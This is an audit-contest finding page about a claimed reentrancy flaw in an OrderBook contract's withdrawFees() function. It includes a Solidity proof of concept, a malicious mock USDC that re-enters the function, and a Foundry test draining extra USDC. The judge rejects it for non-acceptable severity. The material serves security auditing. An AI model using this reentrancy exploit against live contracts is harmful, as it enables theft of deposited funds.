OrderBook
First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: medium
Likelihood: low
Invalid

Reentrancy attack on withdrawFees()

xgrybto

Description

  • The function withdrawFees() is vulnerable to reentrancy attack since it doesn’t respect the CEI pattern

  • A malicious owner could implement an USDC token contract to withdraw all the USDC funds inside the contract, not just the fees that orders have generated

  • Few requirements are needed :

    • The owner has to be the malicious contract, otherwise it can’t call withdrawFees function on his callback (since onlyOwner modifier is used)

    • The malicious contract needs to override transfer() function

function withdrawFees(address _to) external onlyOwner {
// CHECK
if (totalFees == 0) {
revert InvalidAmount();
}
if (_to == address(0)) {
revert InvalidAddress();
}
// INTERACT
iUSDC.safeTransfer(_to, totalFees);
// EFFECT
totalFees = 0; //
...

Risk

Likelihood:

  • if the owner is using a malicious token contract instead of the official USDC contract

  • if USDC balance of the Orderbook contract is greater than the totalFees amount

Impact:

  • all the USDC funds of the contract can be stolen

Proof of Concept

Malicious contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.26;
​
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {MockUSDC} from "test/mocks/MockUSDC.sol";
import {OrderBook} from "src/OrderBook.sol";
​
contract MockMaliciousUSDC is MockUSDC {
constructor() MockUSDC(6) {}
​
function transfer(
address to,
uint256 value
) public override returns (bool) {
bool answer = super.transfer(to, value);
if (MockUSDC(this).balanceOf(msg.sender) >= value) {
OrderBook(address(msg.sender)).withdrawFees(to);
}
return answer;
}
}

Attack scenario

function setUp() public {
// owner = makeAddr("protocol_owner");
owner = address(new MockMaliciousUSDC()); //set the malicious contract as the owner
...
usdc = MockUSDC(owner); //replace the USDC contract
...
}
​
function test_reentrancyAttackOnWithdrawFees() public {
vm.startPrank(alice);
wbtc.approve(address(book), 2e8);
uint256 aliceId = book.createSellOrder(
address(wbtc),
2e8,
180_000e6,
2 days
); // Alice creates an order
vm.stopPrank();
assert(usdc.balanceOf(address(book)) == 0);
​
vm.startPrank(dan);
usdc.approve(address(book), 200_000e6);
book.buyOrder(aliceId); // dan buys alice wbtc order
vm.stopPrank();
assert(book.totalFees() > 0);
​
uint256 _fees = book.totalFees();
usdc.mint(address(book), (_fees / 1e6) * 3); // Providing 3 times more USDC to the contract
vm.startPrank(owner);
book.withdrawFees(owner); // Withdrawing all USDC with reentrancy attack
console2.log(
"Withdrawable fees: ",
_fees / 1e6,
"; Value extracted: ",
usdc.balanceOf(owner) / 1e6
);
assert(usdc.balanceOf(owner) == _fees * 4); // Verify that the value extracted is 4 times more than the totalFees amount
}

Recommended Mitigation

Respect the CEI pattern

Updates

Lead Judging Commences

yeahchibyke Lead Judge
5 days ago
yeahchibyke Lead Judge 5 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

CEI pattern not followed in `withdrawFees()` function

`withdrawFees()` function performs an external transfer using `iUSDC.safeTransfer()` before resetting totalFees. This breaks the `Checks-Effects-Interactions (CEI)` pattern and can lead to incorrect internal state if the transfer fails for any reason.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.